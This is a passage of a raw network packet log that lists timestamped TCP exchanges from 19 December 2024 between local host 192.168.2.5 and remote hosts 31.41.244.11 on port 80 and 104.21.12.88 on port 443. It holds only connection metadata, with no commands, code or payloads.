                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.205872059 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.205921888 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.206950903 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.207005024 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.211800098 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.211853981 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.211880922 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.211926937 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.212342978 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.212383032 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.212388039 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.212444067 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213535070 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213567019 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213609934 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213641882 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213747025 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213781118 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213794947 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213815928 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213824034 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213854074 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213866949 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.213912964 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.215276003 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.215331078 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.215332985 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.215380907 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.215955973 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.216011047 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.216310978 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.216366053 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.216592073 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.216625929 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.216640949 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.216664076 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.216764927 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.216799974 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.216815948 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.216846943 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.217510939 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.217559099 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.218137026 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.218192101 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.219511986 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.219528913 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.219556093 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.219582081 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.220422983 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.220438004 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.220475912 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.220500946 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.221211910 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.221227884 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.221260071 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.221282005 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.221868992 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.221920967 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.222131968 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.222191095 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.222697973 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.222747087 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.222881079 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.222927094 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.223803997 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.223845959 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.223987103 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224035978 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224286079 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224348068 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224380970 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224395037 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224411011 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224419117 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224457026 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224838972 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224853992 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224884987 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.224905968 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.226130009 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.226144075 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.226183891 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.226212978 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.226494074 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.226510048 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.226541042 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.226560116 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.226739883 CET44349868104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.226975918 CET44349868104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.226986885 CET49868443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.227041006 CET49868443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.229017973 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.229032993 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.229048014 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.229063034 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.229074001 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.229104042 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.229491949 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.229526043 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.229531050 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.229563951 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.231450081 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.231525898 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.231667995 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.231710911 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232249022 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232283115 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232306004 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232342958 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232355118 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232388020 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232398033 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232422113 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232424974 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232460976 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232877970 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.232929945 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.233421087 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.233468056 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.234137058 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.234186888 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.234767914 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.234818935 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.235856056 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.235929966 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.236644030 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.236701965 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.236886024 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.236931086 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.237618923 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.237654924 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.237663984 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.237699986 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.238523006 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.238576889 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.238717079 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.238765955 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239259005 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239320040 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239392996 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239445925 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239665985 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239698887 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239710093 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239737988 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239872932 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239907980 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239917040 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239948034 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.239993095 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.240034103 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.252556086 CET49874443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.252619982 CET44349874104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.252723932 CET49874443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.253254890 CET49874443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.253283024 CET44349874104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.383941889 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.383980989 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.384005070 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.384032965 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.384267092 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.384324074 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.384438992 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.384489059 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.384978056 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.385025024 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.385085106 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.385132074 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.385801077 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.385953903 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.385981083 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.385992050 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.386677027 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.386733055 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.386785030 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.386837006 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.387548923 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.387620926 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.387681007 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.387727976 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.388412952 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.388474941 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.388510942 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.388559103 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.389221907 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.389275074 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.389380932 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.389429092 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.390160084 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.390203953 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.390208960 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.390249968 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.391275883 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.391309977 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.391335964 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.391377926 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.391834974 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.391891003 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.391999960 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.392050982 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.392715931 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.392764091 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.392798901 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.392847061 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.393719912 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.393754959 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.393769979 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.393806934 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.394449949 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.394503117 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.394552946 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.394609928 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.395333052 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.395380974 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.395387888 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.395450115 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.396210909 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.396388054 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.396420002 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.396435976 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.396964073 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.397026062 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.397098064 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.397146940 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.398030043 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.398086071 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.398103952 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.398119926 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.398854017 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.398886919 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.398900986 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.398935080 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.399579048 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.399631977 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.399679899 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.399725914 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.400428057 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.400476933 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.400698900 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.400752068 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.401269913 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.401325941 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.402440071 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.402570009 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404644012 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404676914 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404696941 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404712915 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404733896 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404746056 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404773951 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404778957 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404792070 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404813051 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404822111 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.404856920 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.405324936 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.405412912 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.405484915 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.405533075 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.406255007 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.406301022 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.406363964 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.406414032 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.407373905 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.407419920 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.407470942 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.407515049 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.407951117 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.407984972 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.407996893 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:36.408027887 CET4986180192.168.2.531.41.244.11
